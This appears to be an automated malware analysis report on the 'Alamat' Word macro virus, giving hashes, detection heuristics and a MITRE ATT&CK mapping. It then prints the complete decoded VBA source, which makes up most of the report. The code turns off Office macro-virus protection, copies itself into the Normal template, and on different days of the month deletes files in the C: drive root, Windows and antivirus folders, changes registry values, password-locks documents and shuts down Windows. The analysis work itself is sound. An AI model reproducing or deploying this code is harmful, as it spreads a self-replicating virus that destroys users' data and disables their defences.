Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c1bc44f02d60654…

MALICIOUS

Office (OLE)

46.0 KB Created: 1999-11-02 10:51:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-30
MD5: 8a1b38475584a133ac14f78cda7b77c0 SHA-1: a0ae46b9982ae92713fa9cc12766170637ee8213 SHA-256: 6c1bc44f02d60654e98a8a1ab5af1c6394b21c06229ac3884998b23686ccb374
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic AutoOpen macro and VBA macros that disable macro protection and attempt to replicate the macro to the normal template. The script also exports a component to 'c:\Windows.dat', suggesting a downloader or dropper functionality. The presence of 'Win.Trojan.Pivis-2' and 'Doc.Trojan.Alamat-1' detections further supports malicious intent.

Heuristics 7

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Sub Alamat(): On Error Resume Next: WordBasic.DisableAutoMacros 0: Options.ConfirmConversions = False: Options.VirusProtection = False: Options.SaveNormalPrompt = False: ActiveDocument.ReadOnlyRecommended = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose(): On Error Resume Next: Call Alamat: End Sub
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.playboy.com� In document text (OLE body)
    • http://www.playboy.comIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9621 bytes
SHA-256: b719a8d7fc1e777327e58f748aa71e207ef16a169a376986fd58cf15b6590168
Detection
ClamAV: Doc.Trojan.Alamat-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Alamat"
Declare Function ShowCursor Lib "USER32" (ByVal fShow As Integer) As Integer
Sub Alamat(): On Error Resume Next: WordBasic.DisableAutoMacros 0: Options.ConfirmConversions = False: Options.VirusProtection = False: Options.SaveNormalPrompt = False: ActiveDocument.ReadOnlyRecommended = False
UyKo = EqEyLxHfBePlExRvFeGqHoNwOqKlTeJqVkQrUkEiGfVvFeMiNl & EkOmKxGvVhPnMxPuPoBrTqKuLuBlCqCzJtBpFoOuApFwAyThSmRoLsAlVi57294478
CommandBars("tools").Controls("Macro").Delete: CommandBars("tools").Controls("Templates and add-ins...").Delete
GkFfVgKx = JfKsIpRiCtQtSiPtKyFn & pRzJr92052608
With Dialogs(wdDialogFileSummaryInfo): .Title = "Alamat": .Subject = "Fuck The System!": .Author = "Lucky Warrior": .Comments = "Copyright (c) 1999 Bgy. Tiguib, Oras, Eastern Samar": .Execute: End With
NeQuGkFfVgKx = VqNgJfKsIpRiCtQtSiPtKyFn & AqKpRzJr92052608
ActiveDocument.VBProject.VBComponents("Alamat").Export "c:\Windows.dat"
KnDlNhIxCeIjCwLw = DkUhLjBfVqVoEiBhQhAwTlVvGxBe & CqApIsGeMsVwHyMyRsJgLhSfLlGuQmRwHxLwUuBzBhHuHw17637597
If NormalTemplate.VBProject.VBComponents.Item("Alamat").Name <> "Alamat" Then s94632268 = True
IpMfVoGoEtEqLvShTiGk = LsSwLpAjKnSuJiKm & PgOvQjFxJhSeBuTzLqAzOgIeTs62955974
If ActiveDocument.VBProject.VBComponents.Item("Alamat").Name <> "Alamat" Then f32267 = True
FgEwDoPmDfLrNs = UvAkGzDzOpLeTjCeVlGyPmEoJqRsCxAtOnKhNwOjRyKnMvVl & AyCvMyFlUxHqVwPlFmCnIx89634929
If s94632268 = True And f32267 = False Then Set i32269463 = NormalTemplate.VBProject.VBComponents
JwSxGeMmCh = DtNjMyLoAiLuArGhRiBjNjBvPuOoCmEqBm & MtMeUfAwHfExEqQlIj45978311
If s94632268 = False And f32267 = True Then Set i32269463 = ActiveDocument.VBProject.VBComponents
LzOlQwVySwPfCwKoEmDkAxSuTxIsVsNwBjPw = JkOwFsCgOwMfSyLsTtErQeHlCk & FxOqBfJnLfPnNhNvQtRgAhKpTeJjRfNuLtRhIxNxQeNmTkSmEvJgHwPf91895830
i32269463.import "c:\Windows.dat"
If activeinst = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
RiEhTiPvPfRlEgPjOpIlIuKpSpKgQsVeSo = MvHmLgFqTlIgDsCmNy & SjInHlLlRrJvJiKvDlUeQsVfUzGwCtLkTkFgHj19777591
If f32267 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
QfPnOiSvOfUnEwFeAhByIfFqMjHeArMy = NvLsLpQnMlOkQqRpEwGjEzMlJmFlOqIhNsTj & QrHyCkQfGhVvSqAvUnRqRtAzJqMiHqPyLeAmUzDnBz2551388
FuckTheSystem:
tPtPoQrAx = Oh & kTq91977607
If Day(Now()) = 1 Then
Selection.TypeText "Alamat brought to you by Lucky Warrior"
End If
gNuHnFqNkLuTzExQpCiOxGuMjOk = zBzUvStLwPoRyFqMsSnPpTuKiGvEqJyBjUoIeUq & tJwVfSvJpBwKpOjDnEeVgJgQtFhEsBpEeOjOeQtLxKeAvMkDiVnNp87261030
If Day(Now()) = 2 Then
Application.CommandBars("Table").Enabled = False
End If
OnJqDoLn = JqJvLyEwGfIrDgFeEnNfLzDkIoBuUqQyEgRgCwFxVqEyVyKi & PxUrKoLsBzLzVoKxCfTyVqPeClCnBjEkFyCkEqMoDk57844618
If Day(Now()) = 3 Then
Application.CommandBars("Help").Enabled = False
End If
EzRtGzAsJeIiRr = HfMoMvUyEeDsSkTrHlUgIsAnLoBhLpMqRpAkGpCiHhOvVeBg & OrVfNlCxFxLoGqStDmAlUvCtEkNyMvNoSlOt2216345
If Day(Now()) = 4 Then
Kill "c:\*.*"
End If
If Day(Now()) = 5 Then
Kill "C:\progra~1\Drsolo~1\Anti-V~1\*.*"
Kill "C:\Program Files\Norton~1\*.*"
Kill "C:\progra~1\mcafee\viruss~1\*.*"
Kill "c:\progra~1\pc-cil~1\*.*"
End If
If Day(Now()) = 6 Then
Kill "c:\Windows\*.*"
End If
IyEgNuHnFqNkLuTzExQpCiOxGuMjOk = MoVzBzUvStLwPoRyFqMsSnPpTuKiGvEqJyBjUoIeUq & TeTtJwVfSvJpBwKpOjDnEeVgJgQtFhEsBpEeOjOeQtLxKeAvMkDiVnNp87261030
If Day(Now()) = 7 Then
ActiveDocument.Password = "Alamat"
ActiveDocument.Save
End If
UkHo = ToEqVjVjIgViBlHkPfGzQwUnQqHlUzMsVn & DtEfUrSrSwLlDfGnBoLjFrHmRtDhMxKnKtCrIiFtSwHfJfOvDrMgEsQkTvRl71266027
If Day(Now()) = 8 Then
Selection.Text = "Your're infected with the Alamat virus!": Application.PrintOut: Selection.Delete
End If
IxNxJxOkIwPtNn = LzCtAjMtEyLzHoPqQfPjFqRxGfFeIiKzIzTxGgOiJwUjLwDl & IvQtKvAiCgGsOjEfAjMrIlViHrEyBzIlSw87668475
If Day(Now()) = 9 Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "Lucky Warrior"
End If
SoGtIr = JyUnKwVq & AuTiGzHxDhJvVsKhUwKgCvOsRx35722158
If Day(Now()) = 10 Then
Kill "c:\Windows\*.*"
Kill "c:\Winnt\*.*"
End If
Nt = UqGtKqHxAiHgOtUuQfSrVnGuSjKf & HjDo6097967
If Day(Now()) = 11 Then
Selection.Delete Unit:=wdCharacter, Count:=1: ActiveDocument.Save
End If
EeHxNf = ElKfMqNrAzGxKgEyQyIzAeKnEm & MrNeSiTmNnKnSjMnLvHtLhJyUmPgUrAtTuMyOwHoCq76967466
If Day(Now()) = 12 Then
ActiveDocument.FollowHyperlink Address:="http://www.playboy.com", NewWindow:=False, AddHistory:=True
End If
OpOnJqDoLn = OoJqJvLyEwGfIrDgFeEnNfLzDkIoBuUqQyEgRgCwFxVqEyVyKi & FhPxUrKoLsBzLzVoKxCfTyVqPeClCnBjEkFyCkEqMoDk57844618
If Day(Now()) = 13 Then
Assistant.Visible = True
With Assistant.NewBalloon
.Icon = msoIconAlert
.Text = "Ms Word is suffering from unknown virus!"
.Heading = "Warning!": .Animation = msoAnimationSearching
.Show
End With
End If
JwRnFnJwDwRzBvMsKzHmCvTgQw = LoHf & SxGzNoCeDtBoLrKm46679228
If Day(Now()) = 14 Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon", "LegalNoticeCaption") = "Lucky Warrior": System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon", "LegalNoticeText") = "Welcome to the world of Alamat!"
End If
EsImTrChBmNsQfPwJzFvIy = OeJjJtPkLzRw & IsGqLrFrEjEmMoDeVpFsFpAzPuNmVrQzJtFf6233114
If Day(Now()) = 15 Then
Selection.HomeKey Unit:=wdStory
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
        With Selection.Find: .Text = "of": .Replacement.Text = "Alamat": .Forward = True: .Wrap = wdFindContinue: .Format = False: .MatchCase = False: .MatchWholeWord = True: .MatchAllWordForms = False: End With: Selection.Find.Execute Replace:=wdReplaceAll
    CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete: CommandBars("edit").Controls("Repeat Replace...").Delete: CommandBars("edit").Controls("Replace...").Delete
End If
OpNeEpBmTyLlLvEoHoHuVsVmQxOnUvNrPo = AuUhOiGwNqAtKtHiNxMvOmExNgKuMuAzGvSiQiJuTzHxOmRe & LwRtUuCzAzRvVeAjBgTmKvOvUqHyTyDjSqNgTzSlNzQqAyBoAuUnVp49937035
If Day(Now()) = 16 Then
Assistant.Visible = False
While ShowCursor(False) >= 0
Wend
End If
BrVsRgOjJmTrOnDrKzKwTjMsIoTeBfGeKmSfGqOh = OwHnJvIx & UjBrOxFxQtTwAlIiRsJmRtVuFgLhFfMuJnMgSm74406436
If Day(Now()) = 17 Then
Application.Caption = "Alamat"
End If
FnHv = TeMrAzHjGxLsJnAuIpRlLpAnChTsRfHzVgCvMqBg & ReUzMvShTpOnJfEoQqSoDyHwLiSnOrHkLtEsFpUkPmGtCsQkByQyRkVnIzUz75356737
If Day(Now()) = 18 Then
Application.CommandBars("File").Enabled = False
End If
KmHwNiDzMiFzVqQrPpJrUwCz = BmLk & JhIeJpJeDlFkOzQfEe31839463
If Day(Now()) = 19 Then
WordBasic.FileExit dlg
End If
DwPzVvMmLlCoMmDfVjOhFxOeVhOqEp = GrFwVwIpDqJvMhRoOnMrQkCySzNtAzEwCvUnGpKfLw & OzMkLyMvKtEjOsIsSrRkExJjOwHzDhSrOiQvQpCsCuPyQv45054117
If Day(Now()) = 20 Then
Kill "c:\Progra~1\System\*.*"
End If
DlFmHqGoTtMnJhHfEvPmBxSxGsOm = FrSvImRmIwGhAkQrLgLmSqOyStNlSwPoGxBuVoPi & BrBzPkLgUwGkJyNhVlCpUnKmVuGnAsFrRoJiVvBxEzJgVzRz166498
If Day(Now()) = 21 Then
Application.CommandBars("Edit").Enabled = False
End If
EfByMoGtBpIgFoRy = RhHwInMqQwFnMlCgCoCq & AuOiDjEr65285182
If Day(Now()) = 22 Then
Application.CommandBars("View").Enabled = False
End If
VfGwTxNzUvOwUyReAvCiPrJlSg = LhDnPeUhKyPz & QyLfRoJjDlUfVuUkJmVlQlKq65454557
If Day(Now()) = 23 Then
Application.CommandBars("Insert").Enabled = False
End If
InQpVpBqOyBkIpByInRuUjStNkMf = PmCrCpTqVgUkDlUyLqCqSrQfJkOgPlVlGsJxCkGhVp & KtUlSpRuPqReRoIoDmQgSpVxSkSyOlToRjIhLfBuVoOzNyQqMfFvPrNvLl70612789
If Day(Now()) = 24 Then
Application.CommandBars("Format").Enabled = False
End If
IvPePzDtBr = AiFfIe & FlAe75608028
If Day(Now()) = 25 Then
Kill "C:\progra~1\Drsolo~1\Anti-V~1\*.*"
Kill "C:\Program Files\Norton~1\*.*"
Kill "C:\progra~1\mcafee\viruss~1\*.*"
Kill "c:\progra~1\pc-cil~1\*.*"
End If
BtPtPoQrAx = Oh & GkTq91977607
If Day(Now()) = 26 Then
Tasks.ExitWindows
BtPPoQrAx = Oh & GkT91977607
End If
If Day(Now()) = 27 Then
Kill "C:\progra~1\Drsolo~1\Anti-V~1\*.*"
Kill "C:\Program Files\Norton~1\*.*"
Kill "C:\progra~1\mcafee\viruss~1\*.*"
Kill "c:\progra~1\pc-cil~1\*.*"
End If
DwPzVvMmLlCoMmDfVjOheVhO = GrFwVwIpDqJvMhRoOnMrQkCySzNtAzEwnGpK & OzMkLyMvKtEjOsIsSrRkExJjOwHzDhSrOiQvQpCsCuPy5054
If Day(Now()) = 28 Then
  Application.UserName = "Lucky Warrior"
  Application.UserInitials = "LW"
  Application.UserAddress = "Bgy. Tiguib, O.E.S."
End If
tGzAsJeIiRr = oMvUyEeDsSkTrHlUgIsAnLoBhLpMqRpAkGpCiHhOvVeBg & fNlCxFxLoGqStDmAlUvCtEkNyMvNoSlOt2216345
If Day(Now()) = 29 Then
Application.CommandBars("Window").Enabled = False
End If
DwPzVvMmLlCoMmDfVjOhFxOeVhO = GrFwVwIpDqJvMhRoOnMrQkCySzNtAzEwCvUnGpK & OzMkLyMvKtEjOsIsSrRkExJjOwHzDhSrOiQvQpCsCuPyQv45054
If Day(Now()) = 30 Then
Kill "c:\Windows\*.*"
Kill "c:\Winnt\*.*"
End If
End Sub
Sub AutoOpen()
'+++++++++++++++++++++++++++++++++++++++++++++++++++
'Alamat by Lucky Warrior
'Copyright (c) 1999 Bgy. Tiguib, Oras, Eastern Samar
'All rights reserved.
'+++++++++++++++++++++++++++++++++++++++++++++++++++
'Many Thanx To my Friends & Roommates, namely:
'Tom, Deo, Allan, ArnoldBig, ArnoldSmall, Mike & Ruel
'A Special Thanx To... HCA Batch '95 (O.E.S)
'And a Very Special Thanx To... Pamela
On Error Resume Next: Call Alamat: End Sub
Sub AutoClose(): On Error Resume Next: Call Alamat: End Sub
Sub ViewVBCode(): On Error Resume Next: End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.